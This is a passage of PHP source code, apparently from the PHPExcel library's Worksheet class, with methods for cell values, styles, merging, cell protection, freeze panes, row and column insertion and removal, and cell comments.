* @return PHPExcel_Worksheet|PHPExcel_Cell Depending on the last parameter being specified */ public function setCellValue($pCoordinate = 'A1', $pValue = null, $returnCell = false) { $cell = $this->getCell(strtoupper($pCoordinate))->setValue($pValue); return ($returnCell) ? $cell : $this; } /** * Set a cell value by using numeric cell coordinates * * @param string $pColumn Numeric column coordinate of the cell (A = 0) * @param string $pRow Numeric row coordinate of the cell * @param mixed $pValue Value of the cell * @param bool $returnCell Return the worksheet (false, default) or the cell (true) * @return PHPExcel_Worksheet|PHPExcel_Cell Depending on the last parameter being specified */ public function setCellValueByColumnAndRow($pColumn = 0, $pRow = 1, $pValue = null, $returnCell = false) { $cell = $this->getCellByColumnAndRow($pColumn, $pRow)->setValue($pValue); return ($returnCell) ? $cell : $this; } /** * Set a cell value * * @param string $pCoordinate Coordinate of the cell * @param mixed $pValue Value of the cell * @param string $pDataType Explicit data type * @param bool $returnCell Return the worksheet (false, default) or the cell (true) * @return PHPExcel_Worksheet|PHPExcel_Cell Depending on the last parameter being specified */ public function setCellValueExplicit($pCoordinate = 'A1', $pValue = null, $pDataType = PHPExcel_Cell_DataType::TYPE_STRING, $returnCell = false) { // Set value $cell = $this->getCell(strtoupper($pCoordinate))->setValueExplicit($pValue, $pDataType); return ($returnCell) ? $cell : $this; } /** * Set a cell value by using numeric cell coordinates * * @param string $pColumn Numeric column coordinate of the cell * @param string $pRow Numeric row coordinate of the cell * @param mixed $pValue Value of the cell * @param string $pDataType Explicit data type * @param bool $returnCell Return the worksheet (false, default) or the cell (true) * @return PHPExcel_Worksheet|PHPExcel_Cell Depending on the last parameter being specified */ public function setCellValueExplicitByColumnAndRow($pColumn = 0, $pRow = 1, $pValue = null, $pDataType = PHPExcel_Cell_DataType::TYPE_STRING, $returnCell = false) { $cell = $this->getCellByColumnAndRow($pColumn, $pRow)->setValueExplicit($pValue, $pDataType); return ($returnCell) ? $cell : $this; } /** * Get cell at a specific coordinate * * @param string $pCoordinate Coordinate of the cell * @param boolean $createIfNotExists Flag indicating whether a new cell should be created if it doesn't * already exist, or a null should be returned instead * @throws PHPExcel_Exception * @return null|PHPExcel_Cell Cell that was found/created or null */ public function getCell($pCoordinate = 'A1', $createIfNotExists = true) { // Check cell collection if ($this->cellCollection->isDataSet(strtoupper($pCoordinate))) { return $this->cellCollection->getCacheData($pCoordinate); } // Worksheet reference? if (strpos($pCoordinate, '!') !== false) { $worksheetReference = PHPExcel_Worksheet::extractSheetTitle($pCoordinate, true); return $this->parent->getSheetByName($worksheetReference[0])->getCell(strtoupper($worksheetReference[1]), $createIfNotExists); } // Named range? if ((!preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $pCoordinate, $matches)) && (preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $pCoordinate, $matches))) { $namedRange = PHPExcel_NamedRange::resolveRange($pCoordinate, $this); if ($namedRange !== null) { $pCoordinate = $namedRange->getRange(); return $namedRange->getWorksheet()->getCell($pCoordinate, $createIfNotExists); } } // Uppercase coordinate $pCoordinate = strtoupper($pCoordinate); if (strpos($pCoordinate, ':') !== false || strpos($pCoordinate, ',') !== false) { throw new PHPExcel_Exception('Cell coordinate can not be a range of cells.'); } elseif (strpos($pCoordinate, '$') !== false) { throw new PHPExcel_Exception('Cell coordinate must not be absolute.'); } // Create new cell object, if required return $createIfNotExists ? $this->createNewCell($pCoordinate) : null; } /** * Get cell at a specific coordinate by using numeric cell coordinates * * @param string $pColumn Numeric column coordinate of the cell (starting from 0) * @param string $pRow Numeric row coordinate of the cell * @param boolean $createIfNotExists Flag indicating whether a new cell should be created if it doesn't * already exist, or a null should be returned instead * @return null|PHPExcel_Cell Cell that was found/created or null */ public function getCellByColumnAndRow($pColumn = 0, $pRow = 1, $createIfNotExists = true) { $columnLetter = PHPExcel_Cell::stringFromColumnIndex($pColumn); $coordinate = $columnLetter . $pRow; if ($this->cellCollection->isDataSet($coordinate)) { return $this->cellCollection->getCacheData($coordinate); } // Create new cell object, if required return $createIfNotExists ? $this->createNewCell($coordinate) : null; } /** * Create a new cell at the specified coordinate * * @param string $pCoordinate Coordinate of the cell * @return PHPExcel_Cell Cell that was created */ private function createNewCell($pCoordinate) { $cell = $this->cellCollection->addCacheData( $pCoordinate, new PHPExcel_Cell(null, PHPExcel_Cell_DataType::TYPE_NULL, $this) ); $this->cellCollectionIsSorted = false; // Coordinates $aCoordinates = PHPExcel_Cell::coordinateFromString($pCoordinate); if (PHPExcel_Cell::columnIndexFromString($this->cachedHighestColumn) < PHPExcel_Cell::columnIndexFromString($aCoordinates[0])) { $this->cachedHighestColumn = $aCoordinates[0]; } $this->cachedHighestRow = max($this->cachedHighestRow, $aCoordinates[1]); // Cell needs appropriate xfIndex from dimensions records // but don't create dimension records if they don't already exist $rowDimension = $this->getRowDimension($aCoordinates[1], false); $columnDimension = $this->getColumnDimension($aCoordinates[0], false); if ($rowDimension !== null && $rowDimension->getXfIndex() > 0) { // then there is a row dimension with explicit style, assign it to the cell $cell->setXfIndex($rowDimension->getXfIndex()); } elseif ($columnDimension !== null && $columnDimension->getXfIndex() > 0) { // then there is a column dimension, assign it to the cell $cell->setXfIndex($columnDimension->getXfIndex()); } return $cell; } /** * Does the cell at a specific coordinate exist? * * @param string $pCoordinate Coordinate of the cell * @throws PHPExcel_Exception * @return boolean */ public function cellExists($pCoordinate = 'A1') { // Worksheet reference? if (strpos($pCoordinate, '!') !== false) { $worksheetReference = PHPExcel_Worksheet::extractSheetTitle($pCoordinate, true); return $this->parent->getSheetByName($worksheetReference[0])->cellExists(strtoupper($worksheetReference[1])); } // Named range? if ((!preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $pCoordinate, $matches)) && (preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $pCoordinate, $matches))) { $namedRange = PHPExcel_NamedRange::resolveRange($pCoordinate, $this); if ($namedRange !== null) { $pCoordinate = $namedRange->getRange(); if ($this->getHashCode() != $namedRange->getWorksheet()->getHashCode()) { if (!$namedRange->getLocalOnly()) { return $namedRange->getWorksheet()->cellExists($pCoordinate); } else { throw new PHPExcel_Exception('Named range ' . $namedRange->getName() . ' is not accessible from within sheet ' . $this->getTitle()); } } } else { return false; } } // Uppercase coordinate $pCoordinate = strtoupper($pCoordinate); if (strpos($pCoordinate, ':') !== false || strpos($pCoordinate, ',') !== false) { throw new PHPExcel_Exception('Cell coordinate can not be a range of cells.'); } elseif (strpos($pCoordinate, '$') !== false) { throw new PHPExcel_Exception('Cell coordinate must not be absolute.'); } else { // Coordinates $aCoordinates = PHPExcel_Cell::coordinateFromString($pCoordinate); // Cell exists? return $this->cellCollection->isDataSet($pCoordinate); } } /** * Cell at a specific coordinate by using numeric cell coordinates exists? * * @param string $pColumn Numeric column coordinate of the cell * @param string $pRow Numeric row coordinate of the cell * @return boolean */ public function cellExistsByColumnAndRow($pColumn = 0, $pRow = 1) { return $this->cellExists(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow); } /** * Get row dimension at a specific row * * @param int $pRow Numeric index of the row * @return PHPExcel_Worksheet_RowDimension */ public function getRowDimension($pRow = 1, $create = true) { // Found $found = null; // Get row dimension if (!isset($this->rowDimensions[$pRow])) { if (!$create) { return null; } $this->rowDimensions[$pRow] = new PHPExcel_Worksheet_RowDimension($pRow); $this->cachedHighestRow = max($this->cachedHighestRow, $pRow); } return $this->rowDimensions[$pRow]; } /** * Get column dimension at a specific column * * @param string $pColumn String index of the column * @return PHPExcel_Worksheet_ColumnDimension */ public function getColumnDimension($pColumn = 'A', $create = true) { // Uppercase coordinate $pColumn = strtoupper($pColumn); // Fetch dimensions if (!isset($this->columnDimensions[$pColumn])) { if (!$create) { return null; } $this->columnDimensions[$pColumn] = new PHPExcel_Worksheet_ColumnDimension($pColumn); if (PHPExcel_Cell::columnIndexFromString($this->cachedHighestColumn) < PHPExcel_Cell::columnIndexFromString($pColumn)) { $this->cachedHighestColumn = $pColumn; } } return $this->columnDimensions[$pColumn]; } /** * Get column dimension at a specific column by using numeric cell coordinates * * @param string $pColumn Numeric column coordinate of the cell * @return PHPExcel_Worksheet_ColumnDimension */ public function getColumnDimensionByColumn($pColumn = 0) { return $this->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($pColumn)); } /** * Get styles * * @return PHPExcel_Style[] */ public function getStyles() { return $this->styles; } /** * Get default style of workbook. * * @deprecated * @return PHPExcel_Style * @throws PHPExcel_Exception */ public function getDefaultStyle() { return $this->parent->getDefaultStyle(); } /** * Set default style - should only be used by PHPExcel_IReader implementations! * * @deprecated * @param PHPExcel_Style $pValue * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setDefaultStyle(PHPExcel_Style $pValue) { $this->parent->getDefaultStyle()->applyFromArray(array( 'font' => array( 'name' => $pValue->getFont()->getName(), 'size' => $pValue->getFont()->getSize(), ), )); return $this; } /** * Get style for cell * * @param string $pCellCoordinate Cell coordinate (or range) to get style for * @return PHPExcel_Style * @throws PHPExcel_Exception */ public function getStyle($pCellCoordinate = 'A1') { // set this sheet as active $this->parent->setActiveSheetIndex($this->parent->getIndex($this)); // set cell coordinate as active $this->setSelectedCells(strtoupper($pCellCoordinate)); return $this->parent->getCellXfSupervisor(); } /** * Get conditional styles for a cell * * @param string $pCoordinate * @return PHPExcel_Style_Conditional[] */ public function getConditionalStyles($pCoordinate = 'A1') { $pCoordinate = strtoupper($pCoordinate); if (!isset($this->conditionalStylesCollection[$pCoordinate])) { $this->conditionalStylesCollection[$pCoordinate] = array(); } return $this->conditionalStylesCollection[$pCoordinate]; } /** * Do conditional styles exist for this cell? * * @param string $pCoordinate * @return boolean */ public function conditionalStylesExists($pCoordinate = 'A1') { if (isset($this->conditionalStylesCollection[strtoupper($pCoordinate)])) { return true; } return false; } /** * Removes conditional styles for a cell * * @param string $pCoordinate * @return PHPExcel_Worksheet */ public function removeConditionalStyles($pCoordinate = 'A1') { unset($this->conditionalStylesCollection[strtoupper($pCoordinate)]); return $this; } /** * Get collection of conditional styles * * @return array */ public function getConditionalStylesCollection() { return $this->conditionalStylesCollection; } /** * Set conditional styles * * @param $pCoordinate string E.g. 'A1' * @param $pValue PHPExcel_Style_Conditional[] * @return PHPExcel_Worksheet */ public function setConditionalStyles($pCoordinate = 'A1', $pValue) { $this->conditionalStylesCollection[strtoupper($pCoordinate)] = $pValue; return $this; } /** * Get style for cell by using numeric cell coordinates * * @param int $pColumn Numeric column coordinate of the cell * @param int $pRow Numeric row coordinate of the cell * @param int pColumn2 Numeric column coordinate of the range cell * @param int pRow2 Numeric row coordinate of the range cell * @return PHPExcel_Style */ public function getStyleByColumnAndRow($pColumn = 0, $pRow = 1, $pColumn2 = null, $pRow2 = null) { if (!is_null($pColumn2) && !is_null($pRow2)) { $cellRange = PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2; return $this->getStyle($cellRange); } return $this->getStyle(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow); } /** * Set shared cell style to a range of cells * * Please note that this will overwrite existing cell styles for cells in range! * * @deprecated * @param PHPExcel_Style $pSharedCellStyle Cell style to share * @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setSharedStyle(PHPExcel_Style $pSharedCellStyle = null, $pRange = '') { $this->duplicateStyle($pSharedCellStyle, $pRange); return $this; } /** * Duplicate cell style to a range of cells * * Please note that this will overwrite existing cell styles for cells in range! * * @param PHPExcel_Style $pCellStyle Cell style to duplicate * @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function duplicateStyle(PHPExcel_Style $pCellStyle = null, $pRange = '') { // make sure we have a real style and not supervisor $style = $pCellStyle->getIsSupervisor() ? $pCellStyle->getSharedComponent() : $pCellStyle; // Add the style to the workbook if necessary $workbook = $this->parent; if ($existingStyle = $this->parent->getCellXfByHashCode($pCellStyle->getHashCode())) { // there is already such cell Xf in our collection $xfIndex = $existingStyle->getIndex(); } else { // we don't have such a cell Xf, need to add $workbook->addCellXf($pCellStyle); $xfIndex = $pCellStyle->getIndex(); } // Calculate range outer borders list($rangeStart, $rangeEnd) = PHPExcel_Cell::rangeBoundaries($pRange . ':' . $pRange); // Make sure we can loop upwards on rows and columns if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) { $tmp = $rangeStart; $rangeStart = $rangeEnd; $rangeEnd = $tmp; } // Loop through cells and apply styles for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { $this->getCell(PHPExcel_Cell::stringFromColumnIndex($col - 1) . $row)->setXfIndex($xfIndex); } } return $this; } /** * Duplicate conditional style to a range of cells * * Please note that this will overwrite existing cell styles for cells in range! * * @param array of PHPExcel_Style_Conditional $pCellStyle Cell style to duplicate * @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function duplicateConditionalStyle(array $pCellStyle = null, $pRange = '') { foreach ($pCellStyle as $cellStyle) { if (!($cellStyle instanceof PHPExcel_Style_Conditional)) { throw new PHPExcel_Exception('Style is not a conditional style'); } } // Calculate range outer borders list($rangeStart, $rangeEnd) = PHPExcel_Cell::rangeBoundaries($pRange . ':' . $pRange); // Make sure we can loop upwards on rows and columns if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) { $tmp = $rangeStart; $rangeStart = $rangeEnd; $rangeEnd = $tmp; } // Loop through cells and apply styles for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { $this->setConditionalStyles(PHPExcel_Cell::stringFromColumnIndex($col - 1) . $row, $pCellStyle); } } return $this; } /** * Duplicate cell style array to a range of cells * * Please note that this will overwrite existing cell styles for cells in range, * if they are in the styles array. For example, if you decide to set a range of * cells to font bold, only include font bold in the styles array. * * @deprecated * @param array $pStyles Array containing style information * @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * @param boolean $pAdvanced Advanced mode for setting borders. * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function duplicateStyleArray($pStyles = null, $pRange = '', $pAdvanced = true) { $this->getStyle($pRange)->applyFromArray($pStyles, $pAdvanced); return $this; } /** * Set break on a cell * * @param string $pCell Cell coordinate (e.g. A1) * @param int $pBreak Break type (type of PHPExcel_Worksheet::BREAK_*) * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setBreak($pCell = 'A1', $pBreak = PHPExcel_Worksheet::BREAK_NONE) { // Uppercase coordinate $pCell = strtoupper($pCell); if ($pCell != '') { if ($pBreak == PHPExcel_Worksheet::BREAK_NONE) { if (isset($this->breaks[$pCell])) { unset($this->breaks[$pCell]); } } else { $this->breaks[$pCell] = $pBreak; } } else { throw new PHPExcel_Exception('No cell coordinate specified.'); } return $this; } /** * Set break on a cell by using numeric cell coordinates * * @param integer $pColumn Numeric column coordinate of the cell * @param integer $pRow Numeric row coordinate of the cell * @param integer $pBreak Break type (type of PHPExcel_Worksheet::BREAK_*) * @return PHPExcel_Worksheet */ public function setBreakByColumnAndRow($pColumn = 0, $pRow = 1, $pBreak = PHPExcel_Worksheet::BREAK_NONE) { return $this->setBreak(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow, $pBreak); } /** * Get breaks * * @return array[] */ public function getBreaks() { return $this->breaks; } /** * Set merge on a cell range * * @param string $pRange Cell range (e.g. A1:E1) * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function mergeCells($pRange = 'A1:A1') { // Uppercase coordinate $pRange = strtoupper($pRange); if (strpos($pRange, ':') !== false) { $this->mergeCells[$pRange] = $pRange; // make sure cells are created // get the cells in the range $aReferences = PHPExcel_Cell::extractAllCellReferencesInRange($pRange); // create upper left cell if it does not already exist $upperLeft = $aReferences[0]; if (!$this->cellExists($upperLeft)) { $this->getCell($upperLeft)->setValueExplicit(null, PHPExcel_Cell_DataType::TYPE_NULL); } // Blank out the rest of the cells in the range (if they exist) $count = count($aReferences); for ($i = 1; $i < $count; $i++) { if ($this->cellExists($aReferences[$i])) { $this->getCell($aReferences[$i])->setValueExplicit(null, PHPExcel_Cell_DataType::TYPE_NULL); } } } else { throw new PHPExcel_Exception('Merge must be set on a range of cells.'); } return $this; } /** * Set merge on a cell range by using numeric cell coordinates * * @param int $pColumn1 Numeric column coordinate of the first cell * @param int $pRow1 Numeric row coordinate of the first cell * @param int $pColumn2 Numeric column coordinate of the last cell * @param int $pRow2 Numeric row coordinate of the last cell * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function mergeCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1) { $cellRange = PHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2; return $this->mergeCells($cellRange); } /** * Remove merge on a cell range * * @param string $pRange Cell range (e.g. A1:E1) * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function unmergeCells($pRange = 'A1:A1') { // Uppercase coordinate $pRange = strtoupper($pRange); if (strpos($pRange, ':') !== false) { if (isset($this->mergeCells[$pRange])) { unset($this->mergeCells[$pRange]); } else { throw new PHPExcel_Exception('Cell range ' . $pRange . ' not known as merged.'); } } else { throw new PHPExcel_Exception('Merge can only be removed from a range of cells.'); } return $this; } /** * Remove merge on a cell range by using numeric cell coordinates * * @param int $pColumn1 Numeric column coordinate of the first cell * @param int $pRow1 Numeric row coordinate of the first cell * @param int $pColumn2 Numeric column coordinate of the last cell * @param int $pRow2 Numeric row coordinate of the last cell * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function unmergeCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1) { $cellRange = PHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2; return $this->unmergeCells($cellRange); } /** * Get merge cells array. * * @return array[] */ public function getMergeCells() { return $this->mergeCells; } /** * Set merge cells array for the entire sheet. Use instead mergeCells() to merge * a single cell range. * * @param array */ public function setMergeCells($pValue = array()) { $this->mergeCells = $pValue; return $this; } /** * Set protection on a cell range * * @param string $pRange Cell (e.g. A1) or cell range (e.g. A1:E1) * @param string $pPassword Password to unlock the protection * @param boolean $pAlreadyHashed If the password has already been hashed, set this to true * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function protectCells($pRange = 'A1', $pPassword = '', $pAlreadyHashed = false) { // Uppercase coordinate $pRange = strtoupper($pRange); if (!$pAlreadyHashed) { $pPassword = PHPExcel_Shared_PasswordHasher::hashPassword($pPassword); } $this->protectedCells[$pRange] = $pPassword; return $this; } /** * Set protection on a cell range by using numeric cell coordinates * * @param int $pColumn1 Numeric column coordinate of the first cell * @param int $pRow1 Numeric row coordinate of the first cell * @param int $pColumn2 Numeric column coordinate of the last cell * @param int $pRow2 Numeric row coordinate of the last cell * @param string $pPassword Password to unlock the protection * @param boolean $pAlreadyHashed If the password has already been hashed, set this to true * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function protectCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1, $pPassword = '', $pAlreadyHashed = false) { $cellRange = PHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2; return $this->protectCells($cellRange, $pPassword, $pAlreadyHashed); } /** * Remove protection on a cell range * * @param string $pRange Cell (e.g. A1) or cell range (e.g. A1:E1) * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function unprotectCells($pRange = 'A1') { // Uppercase coordinate $pRange = strtoupper($pRange); if (isset($this->protectedCells[$pRange])) { unset($this->protectedCells[$pRange]); } else { throw new PHPExcel_Exception('Cell range ' . $pRange . ' not known as protected.'); } return $this; } /** * Remove protection on a cell range by using numeric cell coordinates * * @param int $pColumn1 Numeric column coordinate of the first cell * @param int $pRow1 Numeric row coordinate of the first cell * @param int $pColumn2 Numeric column coordinate of the last cell * @param int $pRow2 Numeric row coordinate of the last cell * @param string $pPassword Password to unlock the protection * @param boolean $pAlreadyHashed If the password has already been hashed, set this to true * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function unprotectCellsByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1, $pPassword = '', $pAlreadyHashed = false) { $cellRange = PHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2; return $this->unprotectCells($cellRange, $pPassword, $pAlreadyHashed); } /** * Get protected cells * * @return array[] */ public function getProtectedCells() { return $this->protectedCells; } /** * Get Autofilter * * @return PHPExcel_Worksheet_AutoFilter */ public function getAutoFilter() { return $this->autoFilter; } /** * Set AutoFilter * * @param PHPExcel_Worksheet_AutoFilter|string $pValue * A simple string containing a Cell range like 'A1:E10' is permitted for backward compatibility * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setAutoFilter($pValue) { $pRange = strtoupper($pValue); if (is_string($pValue)) { $this->autoFilter->setRange($pValue); } elseif (is_object($pValue) && ($pValue instanceof PHPExcel_Worksheet_AutoFilter)) { $this->autoFilter = $pValue; } return $this; } /** * Set Autofilter Range by using numeric cell coordinates * * @param integer $pColumn1 Numeric column coordinate of the first cell * @param integer $pRow1 Numeric row coordinate of the first cell * @param integer $pColumn2 Numeric column coordinate of the second cell * @param integer $pRow2 Numeric row coordinate of the second cell * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setAutoFilterByColumnAndRow($pColumn1 = 0, $pRow1 = 1, $pColumn2 = 0, $pRow2 = 1) { return $this->setAutoFilter( PHPExcel_Cell::stringFromColumnIndex($pColumn1) . $pRow1 . ':' . PHPExcel_Cell::stringFromColumnIndex($pColumn2) . $pRow2 ); } /** * Remove autofilter * * @return PHPExcel_Worksheet */ public function removeAutoFilter() { $this->autoFilter->setRange(null); return $this; } /** * Get Freeze Pane * * @return string */ public function getFreezePane() { return $this->freezePane; } /** * Freeze Pane * * @param string $pCell Cell (i.e. A2) * Examples: * A2 will freeze the rows above cell A2 (i.e row 1) * B1 will freeze the columns to the left of cell B1 (i.e column A) * B2 will freeze the rows above and to the left of cell A2 * (i.e row 1 and column A) * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function freezePane($pCell = '') { // Uppercase coordinate $pCell = strtoupper($pCell); if (strpos($pCell, ':') === false && strpos($pCell, ',') === false) { $this->freezePane = $pCell; } else { throw new PHPExcel_Exception('Freeze pane can not be set on a range of cells.'); } return $this; } /** * Freeze Pane by using numeric cell coordinates * * @param int $pColumn Numeric column coordinate of the cell * @param int $pRow Numeric row coordinate of the cell * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function freezePaneByColumnAndRow($pColumn = 0, $pRow = 1) { return $this->freezePane(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow); } /** * Unfreeze Pane * * @return PHPExcel_Worksheet */ public function unfreezePane() { return $this->freezePane(''); } /** * Insert a new row, updating all possible related data * * @param int $pBefore Insert before this one * @param int $pNumRows Number of rows to insert * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function insertNewRowBefore($pBefore = 1, $pNumRows = 1) { if ($pBefore >= 1) { $objReferenceHelper = PHPExcel_ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore('A' . $pBefore, 0, $pNumRows, $this); } else { throw new PHPExcel_Exception("Rows can only be inserted before at least row 1."); } return $this; } /** * Insert a new column, updating all possible related data * * @param int $pBefore Insert before this one * @param int $pNumCols Number of columns to insert * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function insertNewColumnBefore($pBefore = 'A', $pNumCols = 1) { if (!is_numeric($pBefore)) { $objReferenceHelper = PHPExcel_ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore($pBefore . '1', $pNumCols, 0, $this); } else { throw new PHPExcel_Exception("Column references should not be numeric."); } return $this; } /** * Insert a new column, updating all possible related data * * @param int $pBefore Insert before this one (numeric column coordinate of the cell) * @param int $pNumCols Number of columns to insert * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function insertNewColumnBeforeByIndex($pBefore = 0, $pNumCols = 1) { if ($pBefore >= 0) { return $this->insertNewColumnBefore(PHPExcel_Cell::stringFromColumnIndex($pBefore), $pNumCols); } else { throw new PHPExcel_Exception("Columns can only be inserted before at least column A (0)."); } } /** * Delete a row, updating all possible related data * * @param int $pRow Remove starting with this one * @param int $pNumRows Number of rows to remove * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function removeRow($pRow = 1, $pNumRows = 1) { if ($pRow >= 1) { $highestRow = $this->getHighestDataRow(); $objReferenceHelper = PHPExcel_ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore('A' . ($pRow + $pNumRows), 0, -$pNumRows, $this); for ($r = 0; $r < $pNumRows; ++$r) { $this->getCellCacheController()->removeRow($highestRow); --$highestRow; } } else { throw new PHPExcel_Exception("Rows to be deleted should at least start from row 1."); } return $this; } /** * Remove a column, updating all possible related data * * @param string $pColumn Remove starting with this one * @param int $pNumCols Number of columns to remove * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function removeColumn($pColumn = 'A', $pNumCols = 1) { if (!is_numeric($pColumn)) { $highestColumn = $this->getHighestDataColumn(); $pColumn = PHPExcel_Cell::stringFromColumnIndex(PHPExcel_Cell::columnIndexFromString($pColumn) - 1 + $pNumCols); $objReferenceHelper = PHPExcel_ReferenceHelper::getInstance(); $objReferenceHelper->insertNewBefore($pColumn . '1', -$pNumCols, 0, $this); for ($c = 0; $c < $pNumCols; ++$c) { $this->getCellCacheController()->removeColumn($highestColumn); $highestColumn = PHPExcel_Cell::stringFromColumnIndex(PHPExcel_Cell::columnIndexFromString($highestColumn) - 2); } } else { throw new PHPExcel_Exception("Column references should not be numeric."); } return $this; } /** * Remove a column, updating all possible related data * * @param int $pColumn Remove starting with this one (numeric column coordinate of the cell) * @param int $pNumCols Number of columns to remove * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function removeColumnByIndex($pColumn = 0, $pNumCols = 1) { if ($pColumn >= 0) { return $this->removeColumn(PHPExcel_Cell::stringFromColumnIndex($pColumn), $pNumCols); } else { throw new PHPExcel_Exception("Columns to be deleted should at least start from column 0"); } } /** * Show gridlines? * * @return boolean */ public function getShowGridlines() { return $this->showGridlines; } /** * Set show gridlines * * @param boolean $pValue Show gridlines (true/false) * @return PHPExcel_Worksheet */ public function setShowGridlines($pValue = false) { $this->showGridlines = $pValue; return $this; } /** * Print gridlines? * * @return boolean */ public function getPrintGridlines() { return $this->printGridlines; } /** * Set print gridlines * * @param boolean $pValue Print gridlines (true/false) * @return PHPExcel_Worksheet */ public function setPrintGridlines($pValue = false) { $this->printGridlines = $pValue; return $this; } /** * Show row and column headers? * * @return boolean */ public function getShowRowColHeaders() { return $this->showRowColHeaders; } /** * Set show row and column headers * * @param boolean $pValue Show row and column headers (true/false) * @return PHPExcel_Worksheet */ public function setShowRowColHeaders($pValue = false) { $this->showRowColHeaders = $pValue; return $this; } /** * Show summary below? (Row/Column outlining) * * @return boolean */ public function getShowSummaryBelow() { return $this->showSummaryBelow; } /** * Set show summary below * * @param boolean $pValue Show summary below (true/false) * @return PHPExcel_Worksheet */ public function setShowSummaryBelow($pValue = true) { $this->showSummaryBelow = $pValue; return $this; } /** * Show summary right? (Row/Column outlining) * * @return boolean */ public function getShowSummaryRight() { return $this->showSummaryRight; } /** * Set show summary right * * @param boolean $pValue Show summary right (true/false) * @return PHPExcel_Worksheet */ public function setShowSummaryRight($pValue = true) { $this->showSummaryRight = $pValue; return $this; } /** * Get comments * * @return PHPExcel_Comment[] */ public function getComments() { return $this->comments; } /** * Set comments array for the entire sheet. * * @param array of PHPExcel_Comment * @return PHPExcel_Worksheet */ public function setComments($pValue = array()) { $this->comments = $pValue; return $this; } /** * Get comment for cell * * @param string $pCellCoordinate Cell coordinate to get comment for * @return PHPExcel_Comment * @throws PHPExcel_Exception */ public function getComment($pCellCoordinate = 'A1') { // Uppercase coordinate $pCellCoordinate = strtoupper($pCellCoordinate); if (strpos($pCellCoordinate, ':') !== false || strpos($pCellCoordinate, ',') !== false) { throw new PHPExcel_Exception('Cell coordinate string can not be a range of cells.'); } elseif (strpos($pCellCoordinate, '$') !== false) { throw new PHPExcel_Exception('Cell coordinate string must not be absolute.'); } elseif ($pCellCoordinate == '') { throw new PHPExcel_Exception('Cell coordinate can not be zero-length string.'); } else { // Check if we already have a comment for this cell. // If not, create a new comment. if (isset($this->comments[$pCellCoordinate])) { return $this->comments[$pCellCoordinate]; } else { $newComment = new PHPExcel_Comment(); $this->comments[$pCellCoordinate] = $newComment; return $newComment; } } } /** * Get comment for cell by using numeric cell coordinates * * @param int $pColumn Numeric column coordinate of the cell * @param int $pRow Numeric row coordinate of the cell * @return PHPExcel_Comment */ public function getCommentByColumnAndRow($pColumn = 0, $pRow = 1) { return $this->getComment(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow); } /** * Get selected cell * * @deprecated * @return string */ public function getSelectedCell() { return $this->getSelectedCells(); } 